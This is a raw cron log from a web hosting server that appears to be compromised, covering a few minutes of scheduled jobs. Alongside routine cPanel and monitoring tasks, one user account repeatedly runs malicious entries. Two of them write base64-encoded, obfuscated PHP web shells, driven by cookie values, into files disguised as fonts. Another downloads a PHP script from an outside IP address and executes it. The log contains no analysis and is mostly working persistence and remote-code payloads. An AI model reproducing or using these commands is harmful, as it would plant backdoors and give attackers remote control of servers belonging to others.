Sep 20 09:40:01 ip-184-168-122-23 CROND[9256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:40:02 ip-184-168-122-23 CROND[9255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:40:02 ip-184-168-122-23 CROND[9258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:41:01 ip-184-168-122-23 CROND[9537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:41:01 ip-184-168-122-23 CROND[9538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:41:01 ip-184-168-122-23 CROND[9539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:41:01 ip-184-168-122-23 CROND[9540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:42:01 ip-184-168-122-23 CROND[9776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:42:01 ip-184-168-122-23 CROND[9777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:42:01 ip-184-168-122-23 CROND[9778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:42:01 ip-184-168-122-23 CROND[9782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:42:01 ip-184-168-122-23 CROND[9781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:43:01 ip-184-168-122-23 CROND[10138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:43:01 ip-184-168-122-23 CROND[10137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:43:01 ip-184-168-122-23 CROND[10139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:43:01 ip-184-168-122-23 CROND[10140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:44:01 ip-184-168-122-23 CROND[10428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:44:01 ip-184-168-122-23 CROND[10430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:44:01 ip-184-168-122-23 CROND[10431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:44:01 ip-184-168-122-23 CROND[10429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:44:01 ip-184-168-122-23 CROND[10432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:45:01 ip-184-168-122-23 CROND[10721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:45:01 ip-184-168-122-23 CROND[10724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:45:01 ip-184-168-122-23 CROND[10728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:45:01 ip-184-168-122-23 CROND[10730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:45:01 ip-184-168-122-23 CROND[10732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:45:01 ip-184-168-122-23 CROND[10731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:46:01 ip-184-168-122-23 CROND[11023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:46:01 ip-184-168-122-23 CROND[11026]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 09:46:01 ip-184-168-122-23 CROND[11029]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 09:46:01 ip-184-168-122-23 CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:46:01 ip-184-168-122-23 CROND[11032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:46:01 ip-184-168-122-23 CROND[11030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:46:01 ip-184-168-122-23 CROND[11031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:47:01 ip-184-168-122-23 CROND[11310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:47:01 ip-184-168-122-23 CROND[11312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:47:01 ip-184-168-122-23 CROND[11311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:47:01 ip-184-168-122-23 CROND[11313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:48:01 ip-184-168-122-23 CROND[11552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:48:01 ip-184-168-122-23 CROND[11554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:48:01 ip-184-168-122-23 CROND[11557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:48:01 ip-184-168-122-23 CROND[11555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:48:01 ip-184-168-122-23 CROND[11556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:49:01 ip-184-168-122-23 CROND[11805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:49:01 ip-184-168-122-23 CROND[11807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:49:01 ip-184-168-122-23 CROND[11808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:49:01 ip-184-168-122-23 CROND[11809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:50:01 ip-184-168-122-23 CROND[12147]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 09:50:01 ip-184-168-122-23 CROND[12150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:50:01 ip-184-168-122-23 CROND[12153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:50:01 ip-184-168-122-23 CROND[12157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:50:01 ip-184-168-122-23 CROND[12160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:50:01 ip-184-168-122-23 CROND[12155]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 09:50:01 ip-184-168-122-23 CROND[12158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:50:01 ip-184-168-122-23 CROND[12161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:50:01 ip-184-168-122-23 CROND[12159]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:51:01 ip-184-168-122-23 CROND[12431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:51:01 ip-184-168-122-23 CROND[12434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:51:01 ip-184-168-122-23 CROND[12433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:51:01 ip-184-168-122-23 CROND[12436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:52:01 ip-184-168-122-23 CROND[12707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
